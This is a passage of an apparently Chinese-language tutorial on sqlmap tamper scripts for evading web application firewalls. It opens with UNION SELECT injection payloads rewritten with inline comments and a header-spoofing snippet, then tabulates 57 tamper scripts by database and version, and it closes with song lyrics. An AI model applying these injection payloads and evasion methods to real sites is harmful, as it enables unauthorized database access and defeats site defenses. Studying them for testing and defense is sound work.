1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,100,114,117,58))#
to
1/!UNION//!ALL//!SELECT//!NULL/,/!NULL/, CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER()/!AS//!CHAR/),CHAR(32)),CHAR(58,100,114,117,58))#
适用数据库:MySQL
versionedmorekeywords.py:
注释每个关键字
1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,122,114,115,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,115,114,121,58))#
to
1/!UNION//!ALL//!SELECT//!NULL/,/!NULL/,/!CONCAT/(/!CHAR/(58,122,114,115,58),/!IFNULL/(CAST(/!CURRENT_USER/()/!AS//!CHAR/),/!CHAR/(32)),/!CHAR/(58,115,114,121,58))#
适用数据库:MySQL >= 5.1.13
xforwardedfor.py:
headers = kwargs.get("headers", {})headers["X-Forwarded-For"] = randomIP()return payload
添加一个伪造的 HTTP 头 “ X-Forwarded-For ” 来绕过 WAF
适用数据库:ALL
sqlmap 自带的 tamper 很强大,但是在实际的环境中,往往比较复杂,可能遇到的情况会非常多,这些 tamper 不可能做到很全面的应对各种环境,所以在学习自带的 tamper 的使用的同时,最好能够掌握 tamper 的编写规则,这样应对各种环境才能应对自如,还有手工注入绕狗也要学习,手工绕狗虽然很烦和麻烦,但是这样可以让我们理解tamper绕过安全狗的原理,且在复杂环境阶段工具绕不过时,手工绕狗,不要一脱离工具就不会绕狗了。
一时用工具一时爽,一直用工具一直爽,爽翻了不利于己身的成长
sqlmap版本当前为1.2.7.20,共有57个tamper脚本,与1.0版本相比新增了19个脚本。
序号 |
脚本名称 |
注释 |
1 |
0x2char |
将每个编码后的字符转换为等价表达 |
2 |
apostrophemask |
单引号替换为Utf8字符 |
3 |
apostrophenullencode |
替换双引号为%00%27 |
4 |
appendnullbyte |
有效代码后添加%00 |
5 |
base64encode |
使用base64编码 |
6 |
between |
比较符替换为between |
7 |
bluecoat |
空格替换为随机空白字符,等号替换为like |
8 |
chardoubleencode |
双url编码 |
9 |
charencode |
将url编码 |
10 |
charunicodeencode |
使用unicode编码 |
11 |
charunicodeescape |
以指定的payload反向编码未编码的字符 |
12 |
commalesslimit |
改变limit语句的写法 |
13 |
commalessmid |
改变mid语句的写法 |
14 |
commentbeforeparentheses |
在括号前加内联注释 |
15 |
concat2concatws |
替换CONCAT为CONCAT_WS |
16 |
equaltolike |
等号替换为like |
17 |
escapequotes |
双引号替换为\\\\ |
18 |
greatest |
大于号替换为greatest |
19 |
halfversionedmorekeywords |
在每个关键字前加注释 |
20 |
htmlencode |
html编码所有非字母和数字的字符 |
21 |
ifnull2casewhenisnull |
改变ifnull语句的写法 |
22 |
ifnull2ifisnull |
替换ifnull为if(isnull(A)) |
23 |
informationschemacomment |
标示符后添加注释 |
24 |
least |
替换大于号为least |
25 |
lowercase |
全部替换为小写值 |
26 |
modsecurityversioned |
空格替换为查询版本的注释 |
27 |
modsecurityzeroversioned |
添加完整的查询版本的注释 |
28 |
multiplespaces |
添加多个空格 |
29 |
nonrecursivereplacement |
替换预定义的关键字 |
30 |
overlongutf8 |
将所有字符转义为utf8 |
31 |
overlongutf8more |
以指定的payload转换所有字符 |
32 |
percentage |
每个字符前添加% |
33 |
plus2concat |
将加号替换为concat函数 |
34 |
plus2fnconcat |
将加号替换为ODBC函数{fn CONCAT()} |
35 |
randomcase |
字符大小写随机替换 |
36 |
randomcomments |
/**/分割关键字 |
37 |
securesphere |
添加某字符串 |
38 |
sp_password |
追加sp_password字符串 |
39 |
space2comment |
空格替换为/**/ |
40 |
space2dash |
空格替换为–加随机字符 |
41 |
space2hash |
空格替换为#加随机字符 |
42 |
space2morecomment |
空格替换为/**_**/ |
43 |
space2morehash |
空格替换为#加随机字符及换行符 |
44 |
space2mssqlblank |
空格替换为其他空符号 |
45 |
space2mssqlhash |
空格替换为%23%0A |
46 |
space2mysqlblank |
空格替换为其他空白符号 |
47 |
space2mysqldash |
空格替换为–%0A |
48 |
space2plus |
空格替换为加号 |
49 |
space2randomblank |
空格替换为备选字符集中的随机字符 |
50 |
symboliclogical |
AND和OR替换为&&和|| |
51 |
unionalltounion |
union all select替换为union select |
52 |
unmagicquotes |
宽字符绕过GPC |
53 |
uppercase |
全部替换为大写值 |
54 |
varnish |
添加HTTP头 |
55 |
versionedkeywords |
用注释封装每个非函数的关键字 |
56 |
versionedmorekeywords |
使用注释绕过 |
57 |
xforwardedfor |
添加伪造的HTTP头 |
|
|
|
|
|
|
以数据库为区分,给出每种数据库可供选择的tamper。若同一脚本适用不同数据库,则在每个数据库中都指出
版本 |
可用tamper编号 |
脚本名称 |
4/5.0/5.5 |
1 |
0x2char |
6 |
between |
|
9 |
charencode |
|
16 |
concat2concatws |
|
18 |
greatest |
|
24 |
least |
|
25 |
lowercase |
|
35 |
randomcase |
|
39 |
space2comment |
|
49 |
space2randomblank |
|
53 |
uppercase |
|
5.1 |
7 |
bluecoat |
46 |
space2mysqlblank |
|
5.0/5.5 |
12 |
commalesslimit |
13 |
commalessmid |
|
21 |
ifnull2casewhenisnull |
|
22 |
ifnull2ifisnull |
|
42 |
space2morecomment |
|
5.0 |
15 |
concat2concatws |
26 |
modsecurityversioned |
|
27 |
modsecurityzeroversioned |
|
4.0/5.0 |
41 |
space2hash |
5.1.56 |
10 |
charunicodeencode |
5.1.56/5.5.11 |
32 |
percentage |
56 |
versionedmorekeywords |
|
4.0.18/5.0.22 |
19 |
halfversionedmorekeywords |
4.0.18/5.1.56/5.5.11 |
55 |
versionedkeywords |
5.1.41 |
43 |
space2morehash |
未指定版本 |
14 |
commentbeforeparentheses |
40 |
space2dash |
|
45 |
space2mssqlhash |
|
47 |
space2mysqldash |
版本号 |
可用tamper编号 |
脚本名称 |
2005/2000 |
10 |
charunicodeencode |
32 |
percentage |
|
44 |
space2mssqlblank |
|
2005 |
6 |
between |
9 |
charencode |
|
16 |
equaltolike |
|
25 |
lowercase |
|
35 |
randomcase |
|
39 |
space2comment |
|
49 |
space2randomblank |
|
53 |
uppercase |
|
2002+ |
33 |
plus2concat |
2008+ |
34 |
plus2fnconcat |
未指定 |
14 |
commentbeforeparentheses |
版本 |
可用tamper编号 |
脚本名称 |
未指定 |
4 |
appendnullbyte |
版本号 |
可用tamper编号 |
脚本名称 |
10g |
6 |
between |
9 |
charencode |
|
14 |
commentbeforeparentheses |
|
18 |
greatest |
|
24 |
least |
|
25 |
lowercase |
|
35 |
randomcase |
|
39 |
space2comment |
|
49 |
space2randomblank |
|
53 |
uppercase |
版本号 |
可用tamper编号 |
脚本名称 |
8.3/8.4/9.0 |
6 |
between |
9 |
charencode |
|
18 |
greatest |
|
24 |
least |
|
25 |
lowercase |
|
39 |
space2comment |
|
49 |
space2randomblank |
|
53 |
uppercase |
|
9.0 |
32 |
percentage |
9.0.3 |
10 |
charunicodeencode |
未指定 |
14 |
commentbeforeparentheses |
35 |
randomcase |
版本 |
可用tamper编号 |
脚本名称 |
未指定 |
38 |
sp_password |
版本 |
可用tamper编号 |
脚本名称 |
未指定 |
40 |
space2dash |
若以上脚本未解决问题,可尝试使用以下脚本。
版本 |
可用tamper编号 |
脚本名称 |
|
2 |
apostrophemask |
|
3 |
apostrophenullencode |
|
5 |
base64encode |
|
8 |
chardoubleencode |
|
11 |
charunicodeescape |
|
17 |
escapequotes |
|
20 |
htmlencode |
|
23 |
informationschemacomment |
|
28 |
multiplespaces |
|
29 |
nonrecursivereplacement |
|
30 |
overlongutf8 |
|
31 |
overlongutf8more |
|
36 |
randomcomments |
|
37 |
securesphere |
|
48 |
space2plus |
|
50 |
symboliclogical |
|
51 |
unionalltounion |
|
52 |
unmagicquotes |
|
54 |
varnish |
|
57 |
xforwardedfor |
—————————————————————————————————————————————————
我不需要自由,只想背着她的梦
一步步向前走,她给的永远不重
—————————————————————————————————————————————————